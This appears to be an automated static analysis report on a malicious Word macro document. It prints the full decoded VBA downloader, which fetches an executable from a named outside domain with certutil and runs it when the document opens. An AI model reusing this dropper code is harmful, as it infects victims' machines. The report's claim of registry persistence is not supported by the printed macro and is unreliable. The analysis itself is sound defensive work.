Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3189b7ab3edb0b1d…

MALICIOUS

Office (OLE)

49.0 KB Created: 2019-04-11 11:56:00 Authoring application: Microsoft Office Word First seen: 2019-10-29
MD5: a346604a6e869c1c54d756362b5d6df2 SHA-1: aa01560100b971ed343b719d2f8cf2fc7779f675 SHA-256: 3189b7ab3edb0b1dc63ab3ad6ef4857706f84e921efdc414e17afd083d2fb040
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32 T1140 Deobfuscate/Decode Files or Information T1566.001 Spearphishing Attachment

The VBA macro within the document is designed to execute a series of commands. It first reconstructs a URL to download an executable file, then uses certutil.exe to decode and save it to a temporary location. Finally, it executes the downloaded payload. The macro also attempts to establish persistence by writing to the registry. The presence of the 'Document_Open' subroutine and the 'Shell()' call strongly indicate a malicious downloader.

Heuristics 11

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    gj = pdjgqsd.ParentWindow.clipboardData.setData("Text", "")
    Shell (trfutyjnih)
    End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    ClipboardText = pdjgqsd.ParentWindow.clipboardData.GetData("text")
    eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False
    rthybfhd (60)
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    gj = pdjgqsd.ParentWindow.clipboardData.setData("Text", "")
    Shell (trfutyjnih)
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\filename.bbc", "bbc", "exe")
    Set pdjgqsd = CreateObject("htmlfile")
    ff = pdjgqsd.ParentWindow.clipboardData.setData("Text", hh)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
    fb = Replace(("http://alobitanbd.com/css/Information.bbc"), "bbc", "exe")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    hh = Replace(fb, "qsohf", "https://")
    trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\filename.bbc", "bbc", "exe")
    Set pdjgqsd = CreateObject("htmlfile")
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://alobitanbd.com/css/Information.bbc Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1086 bytes
SHA-256: 7450463df8789c5b4a48b870e4a9a31e2594ff64245f94b11b5ea0cd8449f5ac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
fb = Replace(("http://alobitanbd.com/css/Information.bbc"), "bbc", "exe")
hh = Replace(fb, "qsohf", "https://")
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\filename.bbc", "bbc", "exe")
Set pdjgqsd = CreateObject("htmlfile")
ff = pdjgqsd.ParentWindow.clipboardData.setData("Text", hh)
ClipboardText = pdjgqsd.ParentWindow.clipboardData.GetData("text")
eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False
rthybfhd (60)
gj = pdjgqsd.ParentWindow.clipboardData.setData("Text", "")
Shell (trfutyjnih)
End Sub
Sub rthybfhd(sec)
    Dim temp
    temp = Timer
    Do While Timer - temp < sec
    Loop
End Sub



Attribute VB_Name = "NewMacros"
Sub test()
'
' test Macro
'
'

End Sub